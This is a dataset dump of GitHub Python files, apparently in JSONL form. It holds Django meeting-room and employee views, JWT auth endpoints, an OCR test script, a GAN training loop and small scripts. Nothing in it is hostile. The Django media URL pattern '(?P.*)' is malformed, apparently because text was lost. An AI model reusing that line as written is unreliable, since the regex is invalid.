print(dfilt[\"duration\"].quantile(q=0.9))\n\nstats(dfn)\nstats(dfr)\nstats(dfp)","repo_name":"StefanSebastian/MicroserviceMonitoring","sub_path":"monitor_scaler_app/docs/spike_benchmark/ok/calculate_overall.py","file_name":"calculate_overall.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"35988777729","text":"\"\"\"fuwu URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.11/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url, include\nfrom django.views.static import serve\n\nfrom chamber.views import EquipmentViewSet, ChamberViewSet, ApplyMeetingViewSet, UserUploadFileViewSet, \\\n GetFreeChamberByDateViewSet, MessagesViewSet, CurUserMessagesViewSet, CurUserMeetingByDateViewSet, \\\n CurUserMeetingViewSet, GetMeetingDataViewSet, GetChamberStatusViewSet, CurChamberStatusViewSet, JoinsSignedViewSet, \\\n SepVoicesViewSet, AllMeetingSimpleInfoViewSet, AllMeetingByDayViewSet, GetChamberStatusAdminViewSet\nfrom fuwu.settings import MEDIA_ROOT\nfrom rest_framework.routers import DefaultRouter\nfrom rest_framework_jwt.views import obtain_jwt_token\nfrom rest_framework.documentation import include_docs_urls\nimport xadmin\nfrom user.views import UserRegViewSet, UserViewSet, UpdateUserViewSet, DepartmentViewSet, CurUserInfoViewSet, \\\n UserArcFaceViewSet\n\nrouter = DefaultRouter()\n\n# 用户注册\nrouter.register(r'register', UserRegViewSet, base_name='register')\n\n# 更新用户信息\nrouter.register(r'updateuser', UpdateUserViewSet, base_name='updateuser')\n\n# 删除用户\nrouter.register(r'usermanage', UserViewSet, base_name='usermanage')\n\n# 部门的管理\nrouter.register(r'department', DepartmentViewSet, base_name='department')\n\n# 设备管理\nrouter.register(r'equipment', EquipmentViewSet, base_name='equipment')\n\n# 会议事管理\nrouter.register(r'chamber', ChamberViewSet, base_name='chamber')\n\n# 会议室预定\nrouter.register(r'applymeeting', ApplyMeetingViewSet, base_name='applymeeting')\n\n# 用户文件上传\nrouter.register(r'uploadfile', UserUploadFileViewSet, base_name='uploadfile')\n\n# 获取空闲会议室\nrouter.register(r'getfreechamber', GetFreeChamberByDateViewSet, base_name='getfreechamber')\n\n# 获取用户消息\nrouter.register(r'messages', MessagesViewSet, base_name='messages')\n\n# 当前登录用户的个人信息\nrouter.register(r'curuserinfo', CurUserInfoViewSet, base_name='curuserinfo')\n\n# 当前登录用户的通知信息\nrouter.register(r'curusermsg', CurUserMessagesViewSet, base_name='curusermsg')\n\n# 当前登录用户的某天会议列表\nrouter.register(r'curusermeeting', CurUserMeetingByDateViewSet, base_name='curusermeeting')\n\n# 当前登录用户的会议(我的会议和邀约的会议)\nrouter.register(r'usermeetings', CurUserMeetingViewSet, base_name='usermeetings')\n\n# 虹软人脸识别特征文件\nrouter.register(r'userarcface', UserArcFaceViewSet, base_name='userarcface')\n\n# 获取当前用户的会议日期\nrouter.register(r'meetingdata', GetMeetingDataViewSet, base_name='meetingdata')\n\n# 获取指定会议室预定信息\nrouter.register(r'chamberstatus', GetChamberStatusViewSet, base_name='chamberstatus')\n\n# 当前会议室的信息(是否被占用)\nrouter.register(r'curchamberinfo', CurChamberStatusViewSet, base_name='curchamberinfo')\n\n# 参会人员签到接口\nrouter.register(r'joinsigned', JoinsSignedViewSet, base_name='joinsigned')\n\n# 人声分离\nrouter.register(r'sepvoice', SepVoicesViewSet, base_name='sepvoice')\n\n# 所有会议的简要信息\nrouter.register(r'meetingsimpleinfo', AllMeetingSimpleInfoViewSet, base_name='meetingsimpleinfo')\n\n# 根据时间获取获取当天所有用户的会议\nrouter.register(r'allmeetingbyday', AllMeetingByDayViewSet, base_name='allmeetingbyday')\n\n# 获取当前会议室预定信息--管理端使用\nrouter.register(r'chamberstatusadmin', GetChamberStatusAdminViewSet, base_name='chamberstatusadmin')\n\nurlpatterns = [\n url('^api/admin/', xadmin.site.urls),\n url(r'^media/(?P.*)$', serve, {\"document_root\": MEDIA_ROOT}),\n url(r'^api/', include(router.urls)), # 路由跳转根目录\n url(r'^api/docs/', include_docs_urls(title=\"智能会议室\")),\n url(r'^api/login/$', obtain_jwt_token),\n]\n","repo_name":"Nankis/AIConferenceRoom","sub_path":"fuwu/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":4384,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"38735052538","text":"# -*- coding: utf-8 -*-\nimport sys\nimport os\nimport time\nimport argparse\n\nimport torch\nimport torch.nn as nn\nimport torch.backends.cudnn as cudnn\nfrom torch.autograd import Variable\n\nfrom PIL import Image\n\nimport cv2\nfrom skimage import io\nimport numpy as np\nfrom . import craft_utils\nfrom . import imgproc\nfrom . import file_utils\nimport json\nimport zipfile\n\nfrom .craft import CRAFT\n\nfrom collections import OrderedDict\nimport os\n\nos.environ[\"CUDA_DEVICE_ORDER\"]=\"PCI_BUS_ID\" \nos.environ[\"CUDA_VISIBLE_DEVICES\"]=\"0\"\n\n\n\nclass parser():\n def __init__(self):\n self.canvas_size=None\n self.cuda=None\n self.link_threshold=None\n self.low_text=None\n self.mag_ratio=None\n self.poly=None\n self.show_time=None\n self.test_folder=None\n self.text_threshold=None\n self.trained_model=None\n self.image=None\n \n def parse_args(self,\n canvas_size=1280,cuda = True,link_threshold=0.4,\n low_text=0.4,mag_ratio=1.5,poly=False,show_time=False,\n test_folder='test-folder',text_threshold=0.7,\n trained_model='craft_mlt_25k.pth',image=None):\n self.canvas_size=canvas_size\n self.cuda=cuda\n self.link_threshold=link_threshold\n self.low_text=low_text\n self.mag_ratio=mag_ratio\n self.poly=poly\n self.show_time=show_time\n self.test_folder=test_folder\n self.text_threshold=text_threshold\n self.trained_model=trained_model\n self.image=image\n\nargs=parser()\n\ndef copyStateDict(state_dict):\n\n if list(state_dict.keys())[0].startswith(\"module\"):\n start_idx = 1\n else:\n start_idx = 0\n \n new_state_dict = OrderedDict()\n\n for k, v in state_dict.items():\n name = \".\".join(k.split(\".\")[start_idx:])\n new_state_dict[name] = v\n return new_state_dict\n\ndef str2bool(v):\n return v.lower() in (\"yes\", \"y\", \"true\", \"t\", \"1\")\n\ndef test_net(net, image, text_threshold, link_threshold, low_text, cuda, poly):\n t0 = time.time()\n\n # resize\n img_resized, target_ratio, size_heatmap = imgproc.resize_aspect_ratio(image, args.canvas_size, interpolation=cv2.INTER_LINEAR, mag_ratio=args.mag_ratio)\n ratio_h = ratio_w = 1 / target_ratio\n\n # preprocessing\n x = imgproc.normalizeMeanVariance(img_resized)\n x = torch.from_numpy(x).permute(2, 0, 1) # [h, w, c] to [c, h, w]\n x = Variable(x.unsqueeze(0)) # [c, h, w] to [b, c, h, w]\n if cuda:\n x = x.cuda()\n\n # forward pass\n y, _ = net(x)\n\n # make score and link map\n score_text = y[0,:,:,0].cpu().data.numpy()\n score_link = y[0,:,:,1].cpu().data.numpy()\n\n t0 = time.time() - t0\n t1 = time.time()\n\n # Post-processing\n boxes, polys = craft_utils.getDetBoxes(score_text, score_link, text_threshold, link_threshold, low_text, poly)\n\n # coordinate adjustment\n boxes = craft_utils.adjustResultCoordinates(boxes, ratio_w, ratio_h)\n polys = craft_utils.adjustResultCoordinates(polys, ratio_w, ratio_h)\n for k in range(len(polys)):\n if polys[k] is None: polys[k] = boxes[k]\n\n t1 = time.time() - t1\n\n # render results (optional)\n render_img = score_text.copy()\n render_img = np.hstack((render_img, score_link))\n ret_score_text = imgproc.cvt2HeatmapImg(render_img)\n\n if args.show_time : print(\"\\ninfer/postproc time : {:.3f}/{:.3f}\".format(t0, t1))\n\n return boxes, polys, ret_score_text\n\ndef main(canvas_size=1280,cuda = False,link_threshold=0.4,\n low_text=0.4,mag_ratio=1.5,poly=False,show_time=False,\n test_folder=None,text_threshold=0.7,\n trained_model='craft_mlt_25k.pth',image=None):\n \n args.parse_args(canvas_size,cuda,link_threshold,\n low_text,mag_ratio,poly,show_time,\n test_folder,text_threshold,\n trained_model,image)\n\n \"\"\" For test images in a folder \"\"\"\n\n result_folder = './result/'\n image_list = None\n if not os.path.isdir(result_folder):\n os.mkdir(result_folder)\n \n return [image_list, result_folder]\n\ndef eval(image_list=None, result_folder=None):\n # load net\n net = CRAFT() # initialize\n\n print('Loading weights from checkpoint (' + args.trained_model + ')')\n if args.cuda:\n net.load_state_dict(copyStateDict(torch.load(args.trained_model)))\n else:\n net.load_state_dict(copyStateDict(torch.load(args.trained_model, map_location='cpu')))\n\n if args.cuda:\n net = net.cuda()\n net = torch.nn.DataParallel(net)\n cudnn.benchmark = False\n \n \n net.eval()\n\n t = time.time()\n roi_list = []\n\n if args.test_folder is None: \n #print(\"164=========================================================\")\n bboxes, polys, score_text = test_net(net, args.image, args.text_threshold, args.link_threshold, args.low_text, args.cuda, args.poly)\n \n roi_list.append(polys)\n else : \n image_list, _, _ = file_utils.get_files(args.test_folder)\n \n for k, image_path in enumerate(image_list):\n image = imgproc.loadImage(image_path)\n\n bboxes, polys, score_text = test_net(net, image, args.text_threshold, args.link_threshold, args.low_text, args.cuda, args.poly)\n\n roi_list.append(polys)\n\n print(\"elapsed time : {}s\".format(time.time() - t))\n return roi_list\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Common-Bound/cbound-AI","sub_path":"ocr/Detection/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5437,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"20062164677","text":"import argparse\nimport numpy as np\nimport os\nimport pandas as pd\nimport SimpleITK as sitk\nfrom tqdm import tqdm\n\nfrom med_query.utils.frame import voxel_to_world\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-t\", \"--trainset_csv\", type=str, help=\"path for trainset filelist\")\n parser.add_argument(\"-m\", \"--mask_dir\", type=str, help=\"path for mask dir\")\n parser.add_argument(\"-i\", \"--info_csv\", type=str, help=\"path for cases_info.csv\")\n parser.add_argument(\"-o\", \"--output_csv\", type=str, help=\"path to save output\")\n args = parser.parse_args()\n\n filelist_df = pd.read_csv(args.trainset_csv)\n cases_info_df = pd.read_csv(args.info_csv)\n cases_info_df = cases_info_df[~cases_info_df.filename.str.contains(\"crop\")]\n\n mask_center_dict = {}\n for idx, row in cases_info_df.iterrows():\n if row.filename not in mask_center_dict.keys():\n mask_center_dict.update({row.filename: row.iloc[1:4].__array__(np.float32)})\n\n diffs = []\n for case_name in tqdm(filelist_df.filename):\n if \"FLARE\" in case_name:\n mask_path = os.path.join(args.mask_dir, f\"{case_name}.nii.gz\")\n elif \"RibFrac\" in case_name:\n mask_path = os.path.join(args.mask_dir, f\"{case_name}-ribmask_labelled.nii.gz\")\n else: # CTSpine1K\n mask_path = os.path.join(args.mask_dir, f\"{case_name}_seg.nii.gz\")\n\n mask = sitk.ReadImage(mask_path)\n mask_np = sitk.GetArrayFromImage(mask)\n vz, vy, vx = np.where(mask_np > 0)\n v = [vx.mean(), vy.mean(), vz.mean()]\n w = voxel_to_world(mask, v)\n diff = w - mask_center_dict.get(case_name)\n diffs.append([case_name, *diff])\n\n df = pd.DataFrame(diffs, columns=[\"filename\", \"diff_x\", \"diff_y\", \"diff_z\"])\n df.to_csv(args.output_csv, index=False)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"alibaba-damo-academy/Med_Query","sub_path":"med_query/scripts/compute_center_offset.py","file_name":"compute_center_offset.py","file_ext":"py","file_size_in_byte":1864,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"82"} +{"seq_id":"29552904482","text":"n = 1;\r\nsolved = False\r\nwhile solved == False:\r\n\tlistOf = []\r\n\tn += 1\r\n\tfor x in range (1,7):\r\n\t\ttest = list( str(x*n) )\r\n\t\ttest.sort()\r\n\t\tlistOf.append(test)\r\n\t\r\n\tsolved = True\r\n\tfor x in range(0, len(listOf)-1 ):\r\n\t\tsolved = solved and (listOf[x] == listOf[x+1] )\r\n\r\nprint (n)","repo_name":"cp1372/Project-Euler-Solutions","sub_path":"problem 52.py","file_name":"problem 52.py","file_ext":"py","file_size_in_byte":278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"33744551166","text":"from django.http import HttpResponse\nfrom django.shortcuts import render, HttpResponseRedirect,get_object_or_404\nfrom appointmentscheduler.models import AppschedulerServices, AppschedulerEmployees\nfrom appointmentscheduler.form.employeeform import EmployeeForm\nimport os,json,re\nfrom django.views.decorators.csrf import requires_csrf_token, csrf_exempt,ensure_csrf_cookie\n\n@ensure_csrf_cookie\ndef services_names(request):\n services = AppschedulerServices.objects.values('id','service_name')\n # DON'T USE\n serviceslist = [dict([(\"name\",service['service_name']), (\"id\",service['id'])]) for service in services ]\n return HttpResponse(json.dumps(serviceslist), content_type='application/json')\n\n@requires_csrf_token\ndef employee_List(request):\n \"\"\" Displays employee information of all employees \"\"\"\n\n template_name=\"employeelist.html\"\n\n return render(request, template_name) \n\n@requires_csrf_token\ndef getemployees(request):\n \"\"\" Ajax call to get list of employeees \"\"\"\n\n employees_info=[]\n querydata = request.GET['querydata']\n if querydata == \"all\":\n employees = AppschedulerEmployees.objects.all().prefetch_related('appschedulerservices_set').order_by('-id')\n elif querydata == \"active\":\n employees = AppschedulerEmployees.objects.filter(is_active = 1 ).prefetch_related('appschedulerservices_set').order_by('-id')\n elif querydata == \"inactive\":\n employees = AppschedulerEmployees.objects.filter(is_active = 0 ).prefetch_related('appschedulerservices_set').order_by('-id')\n else:\n employees = AppschedulerEmployees.objects.all().prefetch_related('appschedulerservices_set').order_by('-id')\n\n for employee in employees:\n data=dict()\n data['id'] = employee.pk\n if employee.avatar.name != '' :\n data['avatar'] = employee.avatar.url\n data['emp_name'] = employee.emp_name\n data['email'] = employee.email\n data['phone'] = str(employee.phone)\n data['service_count'] = employee.service_count\n data['is_active'] = int(employee.is_active)\n employees_info.append(data)\n \n return HttpResponse(json.dumps({\"data\" :employees_info }), content_type='application/json') \n\n@ensure_csrf_cookie\ndef delete_employee(request,id=None):\n \"\"\" Delete employee \"\"\"\n\n aservc=get_object_or_404(AppschedulerEmployees, pk=int(id) )\n aservc.delete()\n return HttpResponse(status=204)\n\n\n@ensure_csrf_cookie\ndef delete_employees(request):\n \"\"\" Delete all selected employees \"\"\"\n\n deleteids= request.POST['rowids']\n for id in deleteids.split(\",\") :\n aservc=get_object_or_404(AppschedulerEmployees, pk=int(id) )\n aservc.delete()\n return HttpResponse(status=204)\n\n@ensure_csrf_cookie\ndef list_phones(request):\n \"\"\" Displays phone no of each employee \"\"\"\n\n employees = AppschedulerEmployees.objects.values('id', 'phone')\n # DON'T USE\n listphones= [dict([(\"phone\",str(employee['phone'])), (\"id\",employee['id'])]) for employee in employees ]\n\n return HttpResponse(json.dumps(listphones), content_type='application/json')\n\n@ensure_csrf_cookie\ndef list_emails(request):\n \"\"\" Displays email of each employee \"\"\"\n\n employees = AppschedulerEmployees.objects.values('id', 'email')\n # DON'T USE\n listemails = [dict([(\"email\",str(employee['email'])), (\"id\",employee['id'])]) for employee in employees ]\n\n return HttpResponse(json.dumps(listemails), content_type='application/json')\n\n@requires_csrf_token\ndef add_Employee(request):\n \"\"\" create a new employee \"\"\"\n if request.method == 'POST':\n\n # create a form instance and populate it with data from the request:\n # check whether it's valid:\n form = EmployeeForm(request.POST or None, request.FILES or None)\n\n \n if form.is_valid():\n # process the data in form.cleaned_data as required\n # ...\n # redirect to a new URL:\n form.save()\n employee_instance = form.instance\n \n for key, value in request.POST.items():\n matchobj = re.match(r'^check\\d+', key) \n if matchobj:\n fieldname = matchobj.group()\n svcid= request.POST[fieldname]\n svcnstance = get_object_or_404(AppschedulerServices, pk=int(svcid) ) \n employee_instance.appschedulerservices_set.add(svcnstance)\n return HttpResponseRedirect('/appointmentschduler/employeelist/')\n\n # if a GET (or any other method) we'll create a blank form\n else:\n form = EmployeeForm()\n\n template_name = \"addEmployee.html\"\n return render(request, template_name, {'form': form})\n\n\n@requires_csrf_token\ndef edit_Employee(request, id):\n \"\"\" Edit the existing employee \"\"\"\n\n\n template_name = \"editEmployee.html\"\n appscheduleobj = get_object_or_404(AppschedulerEmployees, pk=int(id) ) \n defaultimg=appscheduleobj.__class__._meta.get_field('avatar').default\n if request.method == \"POST\":\n form = EmployeeForm(request.POST or None, request.FILES or None, instance=appscheduleobj)\n if form.is_valid():\n post = form.save(commit=False)\n for key in request.POST:\n if hasattr(post, key):\n \n if key=='is_subscribed' and request.POST.get('is_subscribed') == 'true':\n form.instance.is_subscribed = True\n request.POST['is_subscribed'] = True\n setattr(post, key, request.POST[key])\n if 'avatar' in request.FILES and request.FILES['avatar'] is not None:\n # implement code once permission issue gets fixes\n # if appscheduleobj.service_img.name != request.FILES['photoname']:\n # os.remove(os.path.dirname(appscheduleobj.service_img.path))\n appscheduleobj.avatar=request.FILES['avatar']\n else :\n appscheduleobj.avatar = defaultimg\n appscheduleobj.save()\n post.save()\n employee_instance = form.instance\n for key, value in request.POST.items():\n matchobj = re.match(r'^check\\d+', key)\n if matchobj:\n fieldname = matchobj.group()\n serviceid= request.POST[fieldname]\n serviceinstance = get_object_or_404(AppschedulerServices, pk=int(serviceid) )\n employee_instance.appschedulerservices_set.add(serviceinstance)\n return HttpResponseRedirect('/appointmentschduler/employeelist/')\n else:\n form = EmployeeForm(instance=appscheduleobj)\n return render(request,template_name, {'form': form, 'appscheduleinst': appscheduleobj, \"defaultimg\" : defaultimg })\n\n@csrf_exempt\ndef get_Employees(request):\n employee_List = AppschedulerEmployees.objects.all()\n data = {'employeelist': employee_List}\n return HttpResponseRedirect(data)\n\n@ensure_csrf_cookie\ndef associated_service_names(request,id):\n \"\"\" Get the associated employee with a service\"\"\"\n\n services = AppschedulerServices.objects.values('id', 'service_name') \n # DON'T USE\n servicelist = []\n appscheduleobj = get_object_or_404(AppschedulerEmployees, pk=int(id) ).prefetch_related('appschedulerservices_set') \n emp_service= appscheduleobj.appschedulerservices_set.values('id')\n for service in services :\n service_info = dict([(\"name\",service['service_name']), (\"id\",service['id'])]) \n for empl_in_service in emp_service:\n if empl_in_service['id'] == service['id'] :\n service_info['checked'] = True\n servicelist.append(service_info)\n return HttpResponse(json.dumps(servicelist), content_type='application/json')\n\n@ensure_csrf_cookie\ndef deleteemployeeimage(request,id):\n \"\"\"Delete image of a employee\"\"\"\n\n appscheduleobj= get_object_or_404(AppschedulerEmployees, pk=int(id) )\n defaultimg = appscheduleobj.__class__._meta.get_field('avatar').default\n oldimage =appscheduleobj.avatar.name\n oldimagepath= os.path.dirname(appscheduleobj.avatar.path)\n\n appscheduleobj.avatar = defaultimg \n employee_default_img = '/media/' + defaultimg \n appscheduleobj.save()\n # implement code after permission issue got fixed\n # if oldimage!= defaultimg:\n # os.remove( oldimagepath )\n return HttpResponse(json.dumps(employee_default_img), content_type='application/json')","repo_name":"prasannadas143/apps","sub_path":"appointmentscheduler/views/employees.py","file_name":"employees.py","file_ext":"py","file_size_in_byte":8475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"14037401351","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# project : server\n# filename : system\n# author : ly_13\n# date : 6/6/2023\nimport base64\nimport hashlib\nimport time\n\nfrom django.conf import settings\nfrom django.contrib import auth\nfrom django.utils import timezone\nfrom rest_framework.throttling import BaseThrottle\nfrom rest_framework.views import APIView\nfrom rest_framework_simplejwt.tokens import RefreshToken\nfrom rest_framework_simplejwt.views import TokenObtainPairView, TokenRefreshView\n\nfrom common.cache.storage import BlackAccessTokenCache\nfrom common.core.response import ApiResponse\nfrom common.core.throttle import RegisterThrottle\nfrom common.utils.token import make_token, verify_token\nfrom system.models import UserInfo, UserRole\nfrom system.utils.captcha import CaptchaAuth\n\n\ndef get_token_lifetime(user_obj):\n access_token_lifetime = settings.SIMPLE_JWT.get('ACCESS_TOKEN_LIFETIME')\n refresh_token_lifetime = settings.SIMPLE_JWT.get('REFRESH_TOKEN_LIFETIME')\n return {\n 'access_token_lifetime': int(access_token_lifetime.total_seconds()),\n 'refresh_token_lifetime': int(refresh_token_lifetime.total_seconds()),\n 'username': user_obj.username\n }\n\n\ndef get_request_ident(request):\n http_user_agent = request.META.get('HTTP_USER_AGENT')\n http_accept = request.META.get('HTTP_ACCEPT')\n remote_addr = BaseThrottle().get_ident(request)\n return base64.b64encode(f\"{http_user_agent}{http_accept}{remote_addr}\".encode(\"utf-8\")).decode('utf-8')\n\n\nclass TempTokenView(APIView):\n permission_classes = []\n authentication_classes = []\n\n def get(self, request):\n token = make_token(get_request_ident(request), time_limit=600, force_new=True).encode('utf-8')\n return ApiResponse(token=token, lifetime=settings.SIMPLE_JWT.get('REFRESH_TOKEN_LIFETIME').days)\n\n\nclass CaptchaView(APIView):\n permission_classes = []\n authentication_classes = []\n\n def get(self, request):\n return ApiResponse(**CaptchaAuth().generate())\n\n\nclass RegisterView(APIView):\n permission_classes = []\n authentication_classes = []\n throttle_classes = [RegisterThrottle]\n\n def post(self, request, *args, **kwargs):\n data = request.data\n client_id = get_request_ident(request)\n token = data.get('token')\n username = data.get('username')\n password = data.get('password')\n channel = data.get('channel')\n if verify_token(token, client_id, success_once=True) and username and password:\n if UserInfo.objects.filter(username=username).count():\n return ApiResponse(code=1001, detail='用户名已经存在,请换个试试')\n\n user = auth.authenticate(username=username, password=password)\n if not user:\n user = UserInfo.objects.create_user(username=username, password=password, first_name=username)\n if channel and user:\n roles = UserRole.objects.filter(is_active=True, auto_bind=True, code=channel)\n if roles:\n user.roles.set(roles)\n\n if user.is_active:\n refresh = RefreshToken.for_user(user)\n result = {\n 'refresh': str(refresh),\n 'access': str(refresh.access_token),\n }\n user.last_login = timezone.now()\n user.save(update_fields=[\"last_login\"])\n result.update(**get_token_lifetime(user))\n return ApiResponse(data=result)\n return ApiResponse(code=1001, detail='token校验失败,请刷新页面重试')\n\n\nclass LoginView(TokenObtainPairView):\n\n def post(self, request, *args, **kwargs):\n client_id = get_request_ident(request)\n token = request.data.get('token')\n captcha_key = request.data.get('captcha_key')\n captcha_code = request.data.get('captcha_code')\n if client_id and token and captcha_key and verify_token(token, client_id, success_once=True):\n is_valid = CaptchaAuth(captcha_key=captcha_key).valid(captcha_code)\n if is_valid:\n serializer = self.get_serializer(data=request.data)\n try:\n serializer.is_valid(raise_exception=True)\n except Exception as e:\n return ApiResponse(code=9999, detail=e.args[0])\n data = serializer.validated_data\n data.update(get_token_lifetime(serializer.user))\n\n return ApiResponse(data=data)\n else:\n return ApiResponse(code=9999, detail='验证码不正确,请重新输入')\n\n return ApiResponse(code=9999, detail='token校验失败,请刷新页面重试')\n\n\nclass RefreshTokenView(TokenRefreshView):\n def post(self, request, *args, **kwargs):\n data = super().post(request, *args, **kwargs).data\n data.update(get_token_lifetime(request.user))\n return ApiResponse(data=data)\n\n\nclass LogoutView(APIView):\n\n def post(self, request):\n \"\"\"\n 登出账户,并且将账户的access 和 refresh token 加入黑名单\n :param request:\n :return:\n \"\"\"\n payload = request.auth.payload\n exp = payload.get('exp')\n user_id = payload.get('user_id')\n timeout = exp - time.time()\n BlackAccessTokenCache(user_id, hashlib.md5(request.auth.token).hexdigest()).set_storage_cache(1, timeout)\n if request.data.get('refresh'):\n try:\n token = RefreshToken(request.data.get('refresh'))\n token.blacklist()\n except Exception as e:\n pass\n return ApiResponse()\n","repo_name":"nineaiyu/xadmin-server","sub_path":"system/views/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":5674,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"82"} +{"seq_id":"24150757545","text":"import tensorflow as tf\nimport tensorflow.keras as kr\nimport HyperParameters as HP\n\n\n@tf.function\ndef _train(generator: kr.Model, discriminator: kr.Model, data: tf.Tensor, epoch):\n with tf.GradientTape(persistent=True) as tape:\n real_images = (tf.cast(data['image'], dtype='float32') / 127.5 - 1)[:, 45:173, 25:153, :]\n real_images = tf.image.resize(real_images, HP.image_size)\n temp_dict = {}\n for key in data['attributes']:\n temp_dict[key] = data['attributes'][key]\n temp_dict['Black_Or_Brown_Hair'] = tf.logical_or(temp_dict['Black_Hair'], temp_dict['Brown_Hair'])\n real_labels = tf.cast(tf.stack([temp_dict[attribute] for attribute in HP.attributes], axis=-1), dtype='float32')\n\n if not HP.is_acgan:\n real_labels = tf.concat([real_labels, 1 - real_labels], axis=-1)\n\n batch_size = real_images.shape[0]\n latent_vectors = HP.latent_distribution_function([batch_size, HP.latent_vector_dim])\n condition_vectors = tf.cast(tf.random.uniform([batch_size, HP.attributes_size], minval=0, maxval=2, dtype='int32'), dtype='float32')\n\n if not HP.is_acgan:\n condition_vectors = tf.concat([condition_vectors, 1 - condition_vectors], axis=-1)\n\n fake_images = generator([condition_vectors, latent_vectors], training=True)\n\n if HP.mixed_batch_training:\n slice_index = tf.cast(tf.minimum(HP.ratio_per_epoch * epoch, 0.5) * batch_size, dtype='int32')\n\n real_images0, real_images1 = real_images[:slice_index], real_images[slice_index:]\n fake_images0, fake_images1 = fake_images[:slice_index], fake_images[slice_index:]\n adversarial_values0, classification_values0 = discriminator(tf.concat([real_images0, fake_images1], axis=0),\n training=True)\n adversarial_values1, classification_values1 = discriminator(tf.concat([fake_images0, real_images1], axis=0),\n training=True)\n\n real_adversarial_values = tf.concat([adversarial_values0[:slice_index],\n adversarial_values1[slice_index:]], axis=0)\n fake_adversarial_values = tf.concat([adversarial_values1[:slice_index],\n adversarial_values0[slice_index:]], axis=0)\n\n real_classification_values = tf.concat([classification_values0[:slice_index],\n classification_values1[slice_index:]], axis=0)\n fake_classification_values = tf.concat([classification_values1[:slice_index],\n classification_values0[slice_index:]], axis=0)\n else:\n real_adversarial_values, real_classification_values = discriminator(real_images, training=True)\n fake_adversarial_values, fake_classification_values = discriminator(fake_images, training=True)\n\n if HP.is_acgan:\n real_classification_losses = tf.losses.binary_crossentropy(real_labels, tf.nn.sigmoid(real_classification_values))\n fake_classification_losses = tf.losses.binary_crossentropy(condition_vectors, tf.nn.sigmoid(fake_classification_values))\n\n if HP.is_wgan:\n discriminator_adversarial_losses = tf.squeeze(-real_adversarial_values + fake_adversarial_values)\n generator_adversarial_losses = tf.squeeze(-fake_adversarial_values)\n else:\n discriminator_adversarial_losses = tf.squeeze(tf.square(real_adversarial_values - 1)\n + tf.square(fake_adversarial_values))\n generator_adversarial_losses = tf.squeeze(tf.square(fake_adversarial_values - 1))\n\n discriminator_losses = HP.adversarial_loss_weight * discriminator_adversarial_losses \\\n + HP.classification_loss_weight * real_classification_losses\n if HP.use_fcls:\n discriminator_losses += HP.classification_loss_weight * fake_classification_losses\n\n generator_losses = HP.adversarial_loss_weight * generator_adversarial_losses \\\n + HP.classification_loss_weight * fake_classification_losses\n\n else:\n if HP.is_wgan:\n discriminator_losses = tf.reduce_sum(-real_classification_values * real_labels\n + fake_classification_values * condition_vectors, axis=1)\n generator_losses = tf.reduce_sum(-fake_classification_values * condition_vectors, axis=1)\n else:\n discriminator_losses = tf.reduce_sum(tf.square(real_classification_values - 1) * real_labels\n + tf.square(fake_classification_values) * condition_vectors, axis=1)\n generator_losses = tf.reduce_sum(tf.square(fake_classification_values - 1) * condition_vectors, axis=1)\n\n if HP.is_wgan:\n inner_vector = tf.random.uniform([batch_size, 1, 1, 1])\n inner_images = real_images * inner_vector + fake_images * (1 - inner_vector)\n\n with tf.GradientTape() as inner_tape:\n inner_tape.watch(inner_images)\n inner_adversarial_values, inner_classification_values = discriminator(inner_images, training=True)\n\n if HP.is_acgan:\n score = tf.squeeze(inner_adversarial_values)\n else:\n score = tf.reduce_mean(inner_classification_values, axis=1)\n\n gradients = inner_tape.gradient(score, inner_images)\n slopes = tf.sqrt(tf.reduce_sum(tf.square(gradients), axis=[1, 2, 3]))\n gradient_penalty = tf.square(slopes - 1)\n\n discriminator_losses += HP.gp_loss_weight * gradient_penalty\n\n generator_gradients = tape.gradient(generator_losses, generator.trainable_variables)\n discriminator_gradients = tape.gradient(discriminator_losses, discriminator.trainable_variables)\n\n HP.generator_optimizer.apply_gradients(zip(generator_gradients, generator.trainable_variables))\n HP.discriminator_optimizer.apply_gradients(zip(discriminator_gradients, discriminator.trainable_variables))\n\n del tape\n\n return tf.reduce_mean(discriminator_losses), tf.reduce_mean(generator_losses)\n\n\ndef train(generator: kr.Model, discriminator: kr.Model, train_dataset: tf.data.Dataset, epoch):\n train_dataset = train_dataset.shuffle(10000).batch(HP.batch_size).prefetch(1)\n discriminator_losses, generator_losses = [], []\n\n for data in train_dataset:\n discriminator_loss, generator_loss = _train(generator, discriminator, data, epoch)\n discriminator_losses.append(discriminator_loss)\n generator_losses.append(generator_loss)\n\n return tf.reduce_mean(discriminator_losses), tf.reduce_mean(generator_losses)\n","repo_name":"jeongik-jo/CAGAN-CelebA","sub_path":"Train.py","file_name":"Train.py","file_ext":"py","file_size_in_byte":7013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"843987088","text":"import pygame\nfrom script_dir import script_dir\n\n\nclass Items(pygame.sprite.Sprite):\n '''Предметы для подбора.'''\n\n def __init__(self, x, y, where_image, 